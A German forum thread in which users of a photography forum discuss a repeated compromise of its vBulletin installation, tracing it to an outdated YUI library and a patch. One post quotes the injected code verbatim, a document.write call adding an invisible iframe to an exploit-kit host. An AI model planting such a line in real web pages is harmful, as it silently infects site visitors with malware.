Forum schon wieder verseucht ?

[fewe]

Also die Infektion findet über einen eingeschleusten IFrame statt, der über das Java-Plugin einen Dropper nachlädt.

Das Problem mit dem iframe hatte es ja schon vor ein paar Wochen einmal gegeben. Bei Opera kann man iframes generell oder für bestimmte Websites deaktiveren. Für das dslr-forum braucht man iframes sowieso nicht.

Jedenfalls bei denen, die das Problem vor ein paar Wochen mitbekommen haben, verstehe ich das nicht. Man greift ja auch nicht ein zweites Mal auf eine heiße Herdplatte.

 

[NürnbergFoto]

Ich bin übrigends froh über einen Hacker der die Fehler mitteilt und die Chance gibt dies zu ändern. Besser das als einer der die Userdaten klaut.

Gerade weil dieses Forum jetzt Kommerzialisiert wird mit Werbung etc. denke ich auch dass man erwarten kann, dass auf das Aktuelle Vbulletin Upgedatet wird. Die neue Forenleitung hat seine Hausaufgaben einfach nicht gemacht. schade!

 

[chmee]

snoozer, sorry, was?

(A) Der obere Quote war aus einem anderen Forum, ein anderes Forum betreffend.
(B) Was wird denn hier kommerzialisiert? Der Banner ist länger als ich da und andere Foren (wie zB experts-exchange.com) sind da ein klares Stück weiter als hier, dort kannst Du die Antwort NUR lesen, wenn Du schön Deine Mitgliedschaft zahlst.

mfg chmee

 

[scorpio]

Gerade weil dieses Forum jetzt Kommerzialisiert wird mit Werbung etc.

Es ist nicht mehr Werbung im Forum als vor dem 15.3.

denke ich auch dass man erwarten kann, dass auf das Aktuelle Vbulletin Upgedatet wird. Die neue Forenleitung hat seine Hausaufgaben einfach nicht gemacht. schade!

Wir haben vor wenigen Minuten ein brandaktuelles Sicherheitsupdate eingespielt. Die hier genutzte Software ist damit auf dem aktuellen Stand.
VB4 ist eine andere Software.
Übrigens: Den Sicherheitspatch gibt es auch für VB4.x, welches dieselbe Lücke aufgewiesen hat. Es sind somit alle Versionen 3.x und 4.x betroffen.
Betroffen sind Dateien des YUI (Yahoo User Interface), wie bei den Attacken der letzten Wochen vermutet, aber von VB bestritten.

 

[Gast_294084]

Hallo!

Bei mir ist nichts verseucht, ich habe sogar extra noch einen großen Scan gefahren, völlig ohne Ergebnis!

Gruß

Jörg-Peter

 

[Gast_99693]

Wir haben vor wenigen Minuten ein brandaktuelles Sicherheitsupdate eingespielt. Die hier genutzte Software ist damit auf dem aktuellen Stand.

Also wenn ich das, das und das (modifiziert: Dienstag, 26. Oktober 2010) richtig verstanden habe, sollte das Problem bei vBulletin eigentlich schon mehrere Monate lang bekannt sein, und zwar mindestens seit eben dem 26. Oktober 2010.

Sollte das wirklich der Fall sein, und sollten die bei vBulletin wirklich diesen Sicherheitshinweis von YUI (passt genau auf die Forumsprobleme: "JavaScript injection exploits") erst jetzt wahrgenommen, bzw. bis jetzt ignoriert haben, dann wäre das schon ein kleiner Skandal.

Nachtrag/Nachfrage: Oder war vBulletin 3.8.7 schon vorher auf dem Stand von YUI 2.8.2 bzw. 2.9? Dann bitte meinen Post ignorieren. War auf 2.7, siehe Antwort von scorpio.

 

[Gast_294084]

Wenn das bei Euch alles so verseucht sein sollte, wieso ist dann mein Computer nicht verseucht?

 

[scorpio]

Nachtrag/Nachfrage: Oder war vBulletin 3.8.7 schon vorher auf dem Stand von YUI 2.8.2 bzw. 2.9?

Nein, der Stand war 2.7.0 (auch bei VB4.x )

 

[Gast_99693]

@scorpio: Noch eine Kleinigkeit: Ich habe gerade meinen Vorpost editiert und dabei gemerkt, dass offenbar beim Update-Einspielen (?) der Button "S" (Durchstreichen) aus dem Editor verschwunden ist. Der war ja irgendwie händisch "customized" oder so, richtig?

Vergiss es, ich war zu blöd zum Hingucken!

Das ist jetzt ein ABC-Button

 

[vils]

Hallo,

habe jetzt den mal drüber laufen gelassen

Rootkit (TDSS)

nichts gefunden -> Kiste scheint sauber,

aber trauen tu ich iohr im Moment immer noch nicht

Ich brings jetzt mal hoffentlich zum Abschluss.

Danke an alle , die so schnell reagiert haben mit ihren Infos und Tipps.
Das ist doch auch etwas schönes an einem Forum -> ein gemeinsames Interssengebiet meist Hobby und dahinter viele Spezialisten auf anderen Gebieten.


mfg Klaus

 

[Gast_99693]

Nanu? Es geht wieder los! vbulletin_md5.js ist wieder manipuliert worden. Am Ende steht:

document.write('<iframe src="http://hot-nike.co.be/vfe.php?vwq=ca11b58a4be224e8" width="1" height="1" frameborder="0"></iframe>');

Laut FF ist das vor knapp einer Stunde passiert: Änderungsdatum der Datei: 6. Juni 2011 23:39:17.

NIS meldet das als "Ein Eindringversuch von hot-nike.co.be wurde blockiert.", "Web Attack: Blackhole Toolkit Website 7", hot-nike.co.be/vfe.php?vwq=ca11b58a4be224e8

Und das trotz Patch? Da muss noch irgendeine andere Lücke sein.

 

[thalaisama]

also meinavast antivir meldet sofort einen trojaner und blockiert ihn, wenn ich die seite aufrufe.

 

[Torsten_HB]

Schon verdächtig hartnäckig....

Sieht schon sehr gezielt aus, der Angriff auf dieses Forum.

 

[CarstenHH]

auf welchen Systemen liegt denn eigentlich die Datei vbulletin_md5.js ?
Sie gehört ja anscheinend zum vBulletin und müßte doch dann auf Rüdigers
Systemen liegen, oder ?

 

[Gast_99693]

auf welchen Systemen liegt denn eigentlich die Datei vbulletin_md5.js ?
Sie gehört ja anscheinend zum vBulletin und müßte doch dann auf Rüdigers
Systemen liegen, oder ?

Ja genau. Die liegt unter https://www.dslr-forum.de/clientscript/vbulletin_md5.js

 

[chmee]

@TorstenB: Ach naja, man macht sich ne Liste von vBulletin-Foren, vornehmlich jene mit mehr als 1.000 Usern und lässt sein Script immer wieder nachschauen, ob man reinkommt und die Datei weiterhin verseucht ist..

vBulletin angreifbar wo?

http://search.securityfocus.com/sws...earch!&metaname=alldoc&sort=swishlastmodified

Bitte auch im englischen vBulletin-Forum nachlesen, da sind 3(!) Probleme in den letzten 24 Stunden angesprochen worden..

Langsam mach ich mir aber auch Gedanken, ob andere Dinge nicht in Ordnung sind.. Schwache Passwörter für den SSH-oder FTP-Zugriff, versehentlich aktive guest/anonym-Konten..

mfg chmee

 

[CarstenHH]

Ja, aber dann muss es ja doch so sein, dass jemand (hacker) auf die Systeme
von Rüdiger zugriff hat.....oder ???

 

[Frank rekcäR]

Nanu? Es geht wieder los! vbulletin_md5.js ist wieder manipuliert worden.

Ist mir eben beim Login auch sofort aufgefallen

 

[CarstenHH]

hat mal jemand die moderatoren...admins etc informiert ?

 

[Canophil]

Oh weh!

Ich habe gestern abend sogar bei Rüdiger angerufen, weil mein Rechner von dem
Security-protection-Sch... völlig blockiert war.

Aber er hat bestimmt letzte Nacht schon nicht geschlafen.....